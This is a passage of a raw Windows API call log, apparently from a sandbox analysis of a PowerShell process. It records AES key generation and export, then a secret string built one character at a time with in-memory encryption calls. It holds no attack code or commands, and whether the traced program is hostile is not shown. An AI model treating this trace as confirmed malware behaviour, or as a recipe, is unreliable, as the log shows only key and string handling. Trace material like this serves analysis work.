hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0206.192] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2505a00*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2505a00*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0206.192] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0206.193] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0206.194] EtwEventActivityIdControl () returned 0x0 [0206.194] EtwEventActivityIdControl () returned 0x0 [0206.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.195] EtwEventActivityIdControl () returned 0x0 [0206.195] EtwEventActivityIdControl () returned 0x0 [0206.195] EtwEventActivityIdControl () returned 0x0 [0206.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.198] EtwEventActivityIdControl () returned 0x0 [0206.198] EtwEventActivityIdControl () returned 0x0 [0206.198] EtwEventActivityIdControl () returned 0x0 [0206.200] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d210) returned 1 [0206.202] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x3b5168) returned 1 [0206.203] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0206.203] CryptExportKey (in: hKey=0x3b5168, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0206.203] CryptExportKey (in: hKey=0x3b5168, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x250d520, pdwDataLen=0x5a2e82c | out: pbData=0x250d520*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0206.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.204] EtwEventActivityIdControl () returned 0x0 [0206.204] EtwEventActivityIdControl () returned 0x0 [0206.204] EtwEventActivityIdControl () returned 0x0 [0206.205] SysStringLen (param_1="") returned 0x8 [0206.205] SysStringLen (param_1="Y") returned 0x8 [0206.205] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.205] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0206.205] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0206.205] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.205] SysStringLen (param_1="Yj") returned 0x8 [0206.205] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.205] SysStringLen (param_1="ဃ᷁淚冞夿⪇㱋") returned 0x8 [0206.206] SysStringLen (param_1="ဃ᷁淚冞夿⪇㱋") returned 0x8 [0206.206] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.206] SysStringLen (param_1="YjB") returned 0x8 [0206.206] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.206] SysStringLen (param_1="橵ċᙔՅ鉡ݛ") returned 0x8 [0206.206] SysStringLen (param_1="橵ċᙔՅ鉡ݛ") returned 0x8 [0206.206] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.206] SysStringLen (param_1="YjBi") returned 0x8 [0206.206] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.206] SysStringLen (param_1="뀏덃劬軙킁᎞ꮃ籃") returned 0x8 [0206.206] SysStringLen (param_1="뀏덃劬軙킁᎞ꮃ籃") returned 0x8 [0206.206] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.206] SysStringLen (param_1="YjBiH") returned 0x8 [0206.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.207] SysStringLen (param_1="\烙夿쭯仦\䯛⺂") returned 0x8 [0206.207] SysStringLen (param_1="\烙夿쭯仦\䯛⺂") returned 0x8 [0206.207] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.207] SysStringLen (param_1="YjBiHO") returned 0x8 [0206.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.207] SysStringLen (param_1="쯦딙渿儆∽钠䬀忝") returned 0x8 [0206.207] SysStringLen (param_1="쯦딙渿儆∽钠䬀忝") returned 0x8 [0206.207] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.207] SysStringLen (param_1="YjBiHOX") returned 0x8 [0206.207] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.207] SysStringLen (param_1="ﰰꈡ썎랭굛⛥") returned 0x8 [0206.207] SysStringLen (param_1="ﰰꈡ썎랭굛⛥") returned 0x8 [0206.207] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.208] SysStringLen (param_1="YjBiHOXJ") returned 0x8 [0206.208] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.208] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕") returned 0x8 [0206.208] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕") returned 0x8 [0206.208] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕") returned 0x8 [0206.208] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕") returned 0x10 [0206.208] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.208] SysStringLen (param_1="YjBiHOXJA㏝፪࿊큪糗먠摮") returned 0x10 [0206.208] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕ℸ랶ɡ䥙邆瞌넒퐳") returned 0x10 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕ℸ랶ɡ䥙邆瞌넒퐳") returned 0x10 [0206.209] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.209] SysStringLen (param_1="YjBiHOXJAp፪࿊큪糗먠摮") returned 0x10 [0206.209] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕标\ො옣峇ꏷﯳ⋊) returned 0x10 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕标\ො옣峇ꏷﯳ⋊) returned 0x10 [0206.209] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.209] SysStringLen (param_1="YjBiHOXJApr࿊큪糗먠摮") returned 0x10 [0206.209] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕镎㒈趝८腬ﾔ滭") returned 0x10 [0206.209] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕镎㒈趝८腬ﾔ滭") returned 0x10 [0206.209] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="YjBiHOXJAprM큪糗먠摮") returned 0x10 [0206.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕셨厬ຘ좜ᾔ") returned 0x10 [0206.210] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕셨厬ຘ좜ᾔ") returned 0x10 [0206.210] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="YjBiHOXJAprMC糗먠摮") returned 0x10 [0206.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕䛩䯌仮澉ꦈ끻") returned 0x10 [0206.210] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕䛩䯌仮澉ꦈ끻") returned 0x10 [0206.210] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="YjBiHOXJAprMCL먠摮") returned 0x10 [0206.210] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.210] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕᝼돁\鏘㟕ᓜ揎⋏) returned 0x10 [0206.211] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕᝼돁\鏘㟕ᓜ揎⋏) returned 0x10 [0206.211] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.211] SysStringLen (param_1="YjBiHOXJAprMCLF摮") returned 0x10 [0206.211] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.211] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕ѕ钽萿ᝌྱ見쎃") returned 0x10 [0206.211] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕ѕ钽萿ᝌྱ見쎃") returned 0x10 [0206.211] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.211] SysStringLen (param_1="YjBiHOXJAprMCLFL") returned 0x10 [0206.211] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.211] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼") returned 0x10 [0206.211] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼") returned 0x10 [0206.212] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼") returned 0x10 [0206.212] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼") returned 0x18 [0206.212] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.212] SysStringLen (param_1="YjBiHOXJAprMCLFL3੾ⓦ胮㭪礭⚚") returned 0x18 [0206.212] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.212] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼᜜㟡䱵淼诛⦐ꮡ") returned 0x18 [0206.212] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼᜜㟡䱵淼诛⦐ꮡ") returned 0x18 [0206.213] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.213] SysStringLen (param_1="YjBiHOXJAprMCLFL3nⓦ胮㭪礭⚚") returned 0x18 [0206.213] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.213] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼䬌頛詨柋蕀耜") returned 0x18 [0206.213] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼䬌頛詨柋蕀耜") returned 0x18 [0206.213] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.213] SysStringLen (param_1="YjBiHOXJAprMCLFL3nt胮㭪礭⚚") returned 0x18 [0206.213] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.213] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼辮獫薚飧⩸힚䛖뀜") returned 0x18 [0206.213] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼辮獫薚飧⩸힚䛖뀜") returned 0x18 [0206.213] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.213] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntz㭪礭⚚") returned 0x18 [0206.213] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼缾亩厬蝌䌩绝ῌ뒤") returned 0x18 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼缾亩厬蝌䌩绝ῌ뒤") returned 0x18 [0206.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.214] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzw㭪礭⚚") returned 0x18 [0206.214] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼탣퓶潬뭼豷ᾄ") returned 0x18 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼탣퓶潬뭼豷ᾄ") returned 0x18 [0206.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.214] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwL礭⚚") returned 0x18 [0206.214] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ޫࢄ鎢旳㫸\xfdee諡") returned 0x18 [0206.214] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ޫࢄ鎢旳㫸\xfdee諡") returned 0x18 [0206.214] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.215] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLe⚚") returned 0x18 [0206.215] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ල\高똼몖湩ﵽ쇲√) returned 0x18 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ල\高똼몖湩ﵽ쇲√) returned 0x18 [0206.215] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.215] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLel") returned 0x18 [0206.215] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳") returned 0x18 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳") returned 0x18 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳") returned 0x18 [0206.215] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳") returned 0x20 [0206.215] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.216] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelK⦴둅萻磭㗄詈") returned 0x20 [0206.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.216] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳횹㕟ⶴ笇ࡦ侢䄽") returned 0x20 [0206.216] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳횹㕟ⶴ笇ࡦ侢䄽") returned 0x20 [0206.216] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.216] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKF둅萻磭㗄詈") returned 0x20 [0206.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.216] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳ኍǥ譯觅펳ǒᅄ") returned 0x20 [0206.216] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳ኍǥ譯觅펳ǒᅄ") returned 0x20 [0206.216] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.216] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFB둅萻磭㗄詈") returned 0x20 [0206.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳䪈嬘헒顯莱哢㢻靆") returned 0x20 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳䪈嬘헒顯莱哢㢻靆") returned 0x20 [0206.217] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.217] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBR萻磭㗄詈") returned 0x20 [0206.217] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳⿙삘꣰క猹삐畁럣") returned 0x20 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳⿙삘꣰క猹삐畁럣") returned 0x20 [0206.217] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.217] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRo磭㗄詈") returned 0x20 [0206.217] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳ᵎ흑ꍺㅄ딜ᆼቚᒥ") returned 0x20 [0206.217] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳ᵎ흑ꍺㅄ딜ᆼቚᒥ") returned 0x20 [0206.217] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoR㗄詈") returned 0x20 [0206.218] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳詋熻宊甖뺃ઙꡠ") returned 0x20 [0206.218] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳詋熻宊甖뺃ઙꡠ") returned 0x20 [0206.218] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRB詈") returned 0x20 [0206.218] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳᫼Ნ譍ﮡ帧맡ᩉ") returned 0x20 [0206.218] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳᫼Ნ譍ﮡ帧맡ᩉ") returned 0x20 [0206.218] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBP") returned 0x20 [0206.218] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.218] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞") returned 0x20 [0206.219] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞") returned 0x20 [0206.219] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞") returned 0x20 [0206.219] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞") returned 0x28 [0206.219] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.219] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPi琽\柟䖄ⶂ㸀敋∙) returned 0x28 [0206.219] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.219] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞ʮ䒡꡸屈펞㸚甝ㅧ") returned 0x28 [0206.219] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞ʮ䒡꡸屈펞㸚甝ㅧ") returned 0x28 [0206.219] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.219] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiV\柟䖄ⶂ㸀敋∙) returned 0x28 [0206.219] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞භ哮끵\駞씫೿뿤≦) returned 0x28 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞භ哮끵\駞씫೿뿤≦) returned 0x28 [0206.220] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.220] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVs葧艅-䬾ᥥ") returned 0x28 [0206.220] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞תּҜ䣐ৱ钔贘袃넟") returned 0x28 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞תּҜ䣐ৱ钔贘袃넟") returned 0x28 [0206.220] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.220] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVsc艅-䬾ᥥ") returned 0x28 [0206.220] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞٘侮醤樾ꎔ㠢샀") returned 0x28 [0206.220] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞٘侮醤樾ꎔ㠢샀") returned 0x28 [0206.220] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscE-䬾ᥥ") returned 0x28 